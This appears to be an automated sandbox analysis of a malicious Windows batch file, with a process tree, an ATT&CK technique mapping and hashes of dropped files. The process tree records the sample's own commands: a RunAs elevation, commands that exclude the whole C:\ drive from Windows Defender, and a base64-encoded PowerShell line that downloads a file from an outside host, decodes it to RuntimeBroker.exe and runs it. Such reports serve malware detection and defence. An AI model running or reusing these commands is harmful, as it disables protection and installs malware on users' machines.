      powershell -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBjAG8AbQBtAGEAbgBkACAAIgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAIgBDADoAXAANAAoA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5576
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath " C:\
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5684
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc cgBlAGcAIABhAGQAZAAgACIASABLAEwATQBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAIgAgAC8AdgAgAEMAOgBcAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5804
    - - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\
        5⤵
        
        PID:5916
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc JAB1AHIAbAA9ACIAaAB0AHQAcABzADoALwAvAGMAYQBwAHQAYwBoAGEALgBjAGEAbQAvAGYAaQBsAGUALgBiADYANAAiADsAJABiADYANABGAGkAbABlAD0AIgAkAGUAbgB2ADoAVABlAG0AcABcAGYAaQBsAGUALgBiADYANAAiADsAJABlAHgAZQBGAGkAbABlAD0AIgAkAGUAbgB2ADoAVABlAG0AcABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGIANgA0AEYAaQBsAGUAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAZQB4AGUARgBpAGwAZQAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAGIANgA0AEYAaQBsAGUAIAAtAFIAYQB3ACkAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQB4AGUARgBpAGwAZQA=
      4⤵
      PID:2000

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:6084

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\t.cmd" "
1⤵
PID:6112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w h -command ""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Process -Verb RunAs -FilePath '"C:\Users\Admin\Downloads\t.cmd"' -ArgumentList 'am_admin'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5160
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\Downloads\t.cmd" am_admin
    3⤵
    PID:5348
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -w h -command ""
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5452
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBjAG8AbQBtAGEAbgBkACAAIgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAIgBDADoAXAANAAoA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5484
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath " C:\
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5764
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc cgBlAGcAIABhAGQAZAAgACIASABLAEwATQBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAIgAgAC8AdgAgAEMAOgBcAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5596
    - - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\
        5⤵
        
        PID:5848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc JAB1AHIAbAA9ACIAaAB0AHQAcABzADoALwAvAGMAYQBwAHQAYwBoAGEALgBjAGEAbQAvAGYAaQBsAGUALgBiADYANAAiADsAJABiADYANABGAGkAbABlAD0AIgAkAGUAbgB2ADoAVABlAG0AcABcAGYAaQBsAGUALgBiADYANAAiADsAJABlAHgAZQBGAGkAbABlAD0AIgAkAGUAbgB2ADoAVABlAG0AcABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGIANgA0AEYAaQBsAGUAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAZQB4AGUARgBpAGwAZQAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAGIANgA0AEYAaQBsAGUAIAAtAFIAYQB3ACkAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQB4AGUARgBpAGwAZQA=
      4⤵
      PID:6448

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Downloads\t.cmd
1⤵
- Opens file in notepad (likely ransom note)
- Suspicious use of FindShellTrayWindow
PID:6040

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:3272
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:4728
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1956 -parentBuildID 20240401114208 -prefsHandle 1872 -prefMapHandle 1864 -prefsLen 28629 -prefMapSize 245025 -appDir "C:\Program Files\Mozilla Firefox\browser" - {bd218299-0106-4c0b-9e23-e84686d3edfe} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" gpu
    3⤵
    PID:5332
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20240401114208 -prefsHandle 2284 -prefMapHandle 2280 -prefsLen 28629 -prefMapSize 245025 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e47f5447-fb80-4e6b-8ec6-02ad96a13eaa} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" socket
    3⤵
    PID:6432
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3292 -childID 1 -isForBrowser -prefsHandle 3228 -prefMapHandle 2664 -prefsLen 29128 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5ece350f-ec2f-4769-8329-ca49d7493267} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab
    3⤵
    PID:2972
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3648 -childID 2 -isForBrowser -prefsHandle 3640 -prefMapHandle 2496 -prefsLen 34361 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3a811626-daf5-4b67-83e5-4b95ec96978f} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab
    3⤵
    PID:6972
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4292 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4328 -prefMapHandle 4300 -prefsLen 34361 -prefMapSize 245025 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6472a4ec-8eeb-4d9a-bffe-94147f2d3ce2} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" utility
    3⤵
    - Checks processor information in registry
    PID:6552
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5012 -childID 3 -isForBrowser -prefsHandle 5024 -prefMapHandle 5040 -prefsLen 27828 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d5da37d9-7f60-4366-9b1b-65fb9948857e} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab
    3⤵
    PID:1348
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5132 -childID 4 -isForBrowser -prefsHandle 5272 -prefMapHandle 5276 -prefsLen 27828 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {aa68481a-c8ad-4c8a-a19c-802abf7e32a1} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab
    3⤵
    PID:3252
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5440 -childID 5 -isForBrowser -prefsHandle 5448 -prefMapHandle 5452 -prefsLen 27828 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e585539f-ba88-4471-b822-c3469483e0f4} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab
    3⤵
    PID:388
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4132 -childID 6 -isForBrowser -prefsHandle 5068 -prefMapHandle 5060 -prefsLen 28072 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c6c0af1c-eb27-45f2-bc0b-b8aefbc2f0e4} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab
    3⤵
    PID:6592
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5636 -childID 7 -isForBrowser -prefsHandle 5492 -prefMapHandle 5704 -prefsLen 28072 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d01e99d1-b6ce-4135-86f2-f4595cb38b09} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab
    3⤵
    PID:3880
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6184 -childID 8 -isForBrowser -prefsHandle 6220 -prefMapHandle 6216 -prefsLen 28072 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e52b28fe-3904-4d08-a319-e7f4d3017401} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab
    3⤵
    PID:5776

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa38b6055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:2216

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\RuntimeBroker.exe.log

Filesize
1KB

MD5
baf55b95da4a601229647f25dad12878

SHA1
abc16954ebfd213733c4493fc1910164d825cac8

SHA256
ee954c5d8156fd8890e582c716e5758ed9b33721258f10e758bdc31ccbcb1924

SHA512
24f502fedb1a305d0d7b08857ffc1db9b2359ff34e06d5748ecc84e35c985f29a20d9f0a533bea32d234ab37097ec0481620c63b14ac89b280e75e14d19fd545

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
049b6e9e5ae574090e37ec4f9cf48812

SHA1
8a84e30d1c55db18e6310ca185f14b8eeafa28fd

SHA256
3c8e60a138d954ca2ad15a5dab6ce592410983e0134b875a74c8041b3a575fd1

SHA512
fe854104d8b936c925a1a6b0b19ba3c5a0adebf9aa568cacc225dce64697bc3fd0a97e11cc065b5c48e27f195c22d8b4cc8221e16ac1ab7d8040d286540bb7b1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
b16dc67d8633fb86f9d9dc491097150e

SHA1
0ea564df2675c5e2a82449530dd070ad855dfcd6

SHA256
378c51f20fe67c7ef650d594dca84dd39f8eaeb28876fe783bb3f98394bb494b

SHA512
c41852fc8c6728dce8aaa7d9104b39c9e9a6bdcc0354ff5e0d0bff3c055b9aebbb080111c90f6b70db28a1e81b8ca1e3cfec4f8a4f6e59a75188215c21788cdd

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\activity-stream.discovery_stream.json

Filesize
28KB

MD5
0f3895cbb21902630fdae36ec4d6ac89

SHA1
6fc2f174e06e40e5b8e17c5b78a203917ba9ed30

SHA256
fab7b52f1ba3ed02279bc3b882cdda1b36cbc15948f78ec99ad270c4315808ec

SHA512
1886d0ca8462f6f9ab485119a7266896c192049060ff684a4e51d54d3abe53fa29b74065cf6ed08736cf2dd82ad17826c04787ea5f5840f8d294f4037d337f3e

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\doomed\22865

Filesize
8KB

MD5
dff237acafd414dc4068ca36bd30f163

SHA1
3820597c1fd3cf33c1b2f594f07e48c5f01da7ef

SHA256
e8515fbb1627550d0ac08b516c82aceb3d4a9942b2998cb979bb16d1aaf9a100

SHA512
85af7664f51a3095059ba57936f2bdda29234e651214a4288ec6539ae6b04ec5c7ccc056ccc71715dfc531e518859afe48793c19a9c41ecfeb87ce448185949b

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\1BD645F9A7410792A97ECB1BFB6D6DEA65390A16

Filesize
33KB

MD5
23ab7a91aa1027b0edda516998b74ac7

SHA1
76cf6938531ac160b7acdec695d744a50228e53e

SHA256
cd633c8536247fa8c85242107316a46d043ae9c746d0da1dfca3cca714e37d39

SHA512
a0054c9f1b657cf1e4d066d68b1979c953a18dabb2e5545ef1329890ae881f6c3c7edf83dd683670e991470ae8eac379f13586a059b65816da436fb4cf8c309a

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\254256B27E0C48CF9B80B695F0B3B8CA84610495

Filesize
9KB

MD5
fd25089c3672f578e0ad6579173fa2f0

SHA1
115a171cd6d5f035113f172568278b30272d23b5

SHA256
503676d3ac6ee303342b1b3b36dc14e264f3c3d6e9f169ee09777f785307c330

SHA512
de211a935d2fd39c96a83d086ebdb525c4ce2b0a497fb7b325f21b34ee4d0284e33e3cb6aa7ef494955092dbddfb692de489f5bcaabf07b811fd7efd4dc2b8ec

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\6D89348819C8881868053197CA0754F36784BF5F

Filesize
14KB

MD5
8c8c2461169a10bffe53d2f9e796da74

SHA1
2131b08d521d43bc75c2af93b576f58c16edd1a4

SHA256
2ddf269c5a9e73dfcca4bbf5c4e288a5f1c81cbc19514c2c2c147abe8df3bd27

SHA512
b3e82496d975a5873d08d2608ae6368198a20fcd1700cb8055ff808ae8166e7cb24711408c0c1a3ecb38688436299241cf3a9b022997452cec825d2db42996b1

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\6E16A10E9554AC173377D0B97DF8A3660B591500

Filesize
140KB

MD5
2c2d701a63febcb4a741c56d2c56722b

SHA1
888a7f62e5bf4b9c2f729c5546d4e6b05e31302b

SHA256
f25676b77eb8ad3b3fbf1203433c8bf34da587805ab125d47f130c32f66a3c23

SHA512
cace3b16ee71b27176dcabd2b300c5dfacd7afa3c472380a1fde6d33d5a7b7558549ebf4c74752debaed4ed32fa0c3e7ffc8c48324a1c0183d3280feded26161

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\791F0A4C58EE59100296C3B4EC96C5B9DA7EDE1D

Filesize
76KB

MD5
060d21ebe495c287547609de9a94c4d5

SHA1
1f6e9cee11287ae88dee42c6559a34a768ffbfd0

SHA256
7e9517f5d816b558d487c1db1ba7ab023bc66ba3578c02b12a71e44e941ba40c

SHA512
cd0ef716f3a293b9b45cd032d6b4077a2f5ac6cd5b5f4db21eebda16ae4f54d1b93670b010a6ab0a0b4db3d550b91ba282485322fabe13e74b67ce426312b0cb

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\7E96FB901C1856DB6FF3BD9DDFB98D1A3F13D9E2

Filesize
207KB

MD5
6494b4c0017fc38b826a3db5410c8259

SHA1
9e1cad6f8e0d54cb006d1105ed17eb41b237ed7d

SHA256
298b0250112850b3a681722a33f9d8c50ccf09eb88fe29b8da0461b0e6e76959

SHA512
3aed8ca005a08c3538ab6654b5e59757c9a331531811f3cb63f0a26c78e64cb5c788dcf83f7ee6e3b96fc522fde9654f4555539e4fa36f39da93ba27c154ac05

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\93C498937F9521B4FB2DB21E2CB76F96D6A6E93C

Filesize
509KB

MD5
b6199163142a3bb437095f5a42df2da5

SHA1
f6563f4092065ee54d95250cb12c4bcf19483b3a

SHA256
55c9a9ff632d8a8bb57e799f72535fb36e1d7e4a82079fe4f3b34c87d7ef8b21

SHA512
32412ead0541e9f84723c38e02147bc0740a941e9f2e365ca3a4ce8b61b1f1121123a06ecf0ff68e7d1b855d2f97319062061f1bab98e0d464b8bd0e9ca4d9e0

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\B46B24A0C4F8C70C798E7240C485699BD434B795

Filesize
65KB

MD5
19b6b39f7c19ae532281a95e2f34164b

SHA1
e0c720478821eec7e50b1f90b5964a75a9aeebbb

SHA256
70b81c69fc86917f29fbfa5381a7504f59493a37a124cee7468c1050384e69a9

SHA512
b7e2e2ebe19e96729d93937474cbf1f7e84d466613adeae1e87014863ec4027e69db0c31d6d3e2d4da56d157d99bb7c5bd34044a07e918c9d79ddd67e566e04a

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\FD07E0E96B39D8F0458BB9D7955741DE046167CC

Filesize
152KB

MD5
0256f06a4c5e09013c48c812b26644bc

SHA1
c575f5811b7a5f0fdbc6adc210f41ba2e296a5b4

SHA256
04212ba62c04993c499427fa97399c4ef82b7fea3c2b3c32dd723052afa86e79

SHA512
35f8ae1ac393dcac11e1a9295e34439fbc3e426a3395116ae9dd67ce8b7f7e7c9eec21f089126c1c9148e06fdd21e523d9702f021aafdde149a7b9b85ff5e03f

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\index

Filesize
6KB

MD5
a3d212e0febb8293e69d845f5eb5ab70

SHA1
280997c2e18770eb1b06eb20b43c6d522be19aa5

SHA256
0fca02f58f50aca3f43db6ca8734f105859bba60afeff1086bbe905a23026ea5

SHA512
f8b52dfde4629b3a4e6c928cfabd1fd112a6ba6fa9c1afaf505a21a76291f2fa3a27ed4492530cc3a4058d5846add35b5dbcf74a91a834f2d7aa7454c1716f26

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\index.log

Filesize
10KB

MD5
e0367a08ee6dcc7df9f910b646e5d01c

SHA1
8375da44e4ae38921488fad463f5be9be42815c2

SHA256
3ddf1afead7ddaa47964a9505298b25b0aa2d79465fb16669ce7f9c100610e83

SHA512
a684f44e7ecd168b239d697afccd9e283bd86446803c79ad655a12f2aa4040e9917ce7d6ade4a03480db921bd149dbc6d4ce4a4bdbb8fbe08a8e6627b279bbc4

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\jumpListCache\9k_dS5ufZUcAy87uFqGbfVkf4f+9rOru87bUInQwfKQ=.ico

Filesize
646B

MD5
129ba860f753f66b2bb90eaa653abc1a

SHA1
62f40f1bb05a5bd3ea530391d8f59dd34dc8472c

SHA256
381fb3a86f3e9e8a020ba42a5200572bf283459f3ac07f4bdd5b83d257d3278d

SHA512
e34610dcf785cfa355df8110fa4617607b90d333ed7eae466cf09bf92e3c84bea8cd9af361c2529f452abd0d6799f9b890b046e2d8b988fdf99d022122a5e8aa

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl

Filesize
15KB

MD5
96c542dec016d9ec1ecc4dddfcbaac66

SHA1
6199f7648bb744efa58acf7b96fee85d938389e4

SHA256
7f32769d6bb4e875f58ceb9e2fbfdc9bd6b82397eca7a4c5230b0786e68f1798

SHA512
cda2f159c3565bc636e0523c893b293109de2717142871b1ec78f335c12bad96fc3f62bcf56a1a88abdeed2ac3f3e5e9a008b45e24d713e13c23103acc15e658

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\startupCache\scriptCache-child.bin

Filesize
462KB

MD5
24d6c20c2371bb9028a30bf2a6c873cb

SHA1
0c3e9dd4ae0d70fa241ff9c9104bc8800a8e703c

SHA256
5531f258fd34995aad0248d4781fa9182332fdad29406e3dee6d99fc2b7205ee

SHA512
a06ec9cc88980c6a9c8f18f65a205599f49eb62071d5a06e0328853de9e888687eb6eba70d7f0e4bc8d403a5cff532d2f93defbeefa3d469986c0466d8e02dc9

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\startupCache\scriptCache.bin

Filesize
9.2MB

MD5
185fc2adab9e07839648c36a5e54332f

SHA1
50b48906ce39f0928dc5bc70b1c6653761ab946c

SHA256
0c0054c7d67b49e7a44d922029a2984147c9e92dbf4b92abbdf4f8692b07d3b0

SHA512
cb97e583df6b08034d2cf0a07ecf8b3a05616f4a2467c00d645bf992157a3bb5615091ad6661b14d03e6d15aa57456bf6cca82ffd244f6e91fb6707778fae415

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\startupCache\urlCache.bin

Filesize
3KB

MD5
f0bc0772d1e5c2c45fa49dd20f37f49d

SHA1
30ac599faf9ed692d34ec28d087b6f28dbb7a201

SHA256
64d95ec8235cdc8f12481250a6cc59e3d5b929100d4afb8ad1bd2690a1522c37

SHA512
fa4ce4ca41d3c600e3742493df23ec27de744f7dad6b1084677a4f04e6e4555cb211070c2ac4f17fce9ce119242ac0b86921f88ad2a40a82e6fc2b4102cd6269

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\startupCache\webext.sc.lz4

Filesize
107KB

MD5
126798c0032616f45514340eaa10b994

SHA1
28ca874474684703dbb643a444d7417c9f80de8f

SHA256
1dad14abc4eeedec39933cd0b58782f4963d8490f3447dfc2c1ba9bfab765fe9

SHA512
a8c7eebbf3d1aa828475b5d4ce37de8abe257d5195f9f043ea82e24f957f9d3d74649377c35cb11b1f5a9f2b23fb66bd864e3fce627a8c8aaae62b2a1d426712

Download Submit
C:\Users\Admin\AppData\Local\Temp\1.cmd

Filesize
1KB

MD5
104cc53cf2a78348c132b27766627399

SHA1
6c1c7eff5c6f5520473f8c861c9408b0cd07d7cf

SHA256
995acc6b43d40f9f8236dfc7b581a8afa2f06c538222d329fef9e6f0b6f4bd18

SHA512
290406d75bdec56531723c245fe55f632415abd4022fb9aebd6a332d0eb33cbd9dec241076534a2265eeacc617afa058cc5c9b170859dc3263042af1e30d1e0b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe

Filesize
3.1MB

MD5
b94af11cca65c557d23559e978a49d18

SHA1
0c3436d0c5df8e2e39bf4869bbe4413ca8d594b7

SHA256
f6a0a782d574de811fe66ecf6416c69b486f9ca20faf96cfc863a00063306338

SHA512
c1254360b2382957f043b8edcf36b28f13a93d0860dc9609d9b46eded81bc004e4149113e9eaad8b4d2cc18164942588bd4e97ecd8fce4f9afd8e537bc668b16

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_303t3ky1.gdo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
